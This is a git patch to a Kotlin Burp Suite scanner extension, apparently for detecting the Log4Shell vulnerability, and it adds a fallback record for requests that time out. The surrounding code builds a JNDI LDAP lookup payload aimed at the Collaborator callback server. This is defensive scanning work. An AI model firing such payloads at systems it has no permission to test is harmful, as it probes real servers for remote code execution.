From fd6de53f982d8b2235296e5fe5840cea24c67c96 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Andr=C3=A1s=20Veres-Szentkir=C3=A1lyi?= Date: Sun, 12 Dec 2021 21:09:32 +0100 Subject: [PATCH] handle request timeouts --- src/main/kotlin/burp/BurpExtender.kt | 17 ++++++++++++++++- 1 file changed, 16 insertions(+), 1 deletion(-) diff --git a/src/main/kotlin/burp/BurpExtender.kt b/src/main/kotlin/burp/BurpExtender.kt index a02f0e3..32ce811 100644 --- a/src/main/kotlin/burp/BurpExtender.kt +++ b/src/main/kotlin/burp/BurpExtender.kt @@ -72,7 +72,9 @@ class BurpExtender : IBurpExtender, IScannerCheck, IExtensionStateListener { val bytes = "\${jndi:ldap://$prefix\${$key}.$payload.${collaborator.collaboratorServerLocation}/s2test}".toByteArray() val request = insertionPoint!!.buildRequest(bytes) val poff = insertionPoint.getPayloadOffsets(bytes) - val hrr = callbacks.makeHttpRequest(baseRequestResponse!!.httpService, request) + val hs = baseRequestResponse!!.httpService + crontab[payload] = Pair(EarlyHttpRequestResponse(hs, request), poff) // fallback in case of timeout + val hrr = callbacks.makeHttpRequest(hs, request) val contextPair = Pair(hrr, poff) context.add(contextPair) collabResults.addAll(collaborator.fetchCollaboratorInteractionsFor(payload)) @@ -85,6 +87,19 @@ class BurpExtender : IBurpExtender, IScannerCheck, IExtensionStateListener { return interactions } + class EarlyHttpRequestResponse(private val hs: IHttpService, private val sentRequest: ByteArray) : IHttpRequestResponse { + override fun getComment(): String = "" + override fun getHighlight(): String = "" + override fun getHttpService(): IHttpService = hs + override fun getRequest(): ByteArray? = sentRequest + override fun getResponse(): ByteArray? = null + override fun setComment(comment: String?) {} + override fun setHighlight(color: String?) {} + override fun setHttpService(httpService: IHttpService?) {} + override fun setRequest(message: ByteArray?) {} + override fun setResponse(message: ByteArray?) {} + } + private fun handleInteractions(context: List>, interactions: List, sync: Boolean): MutableList {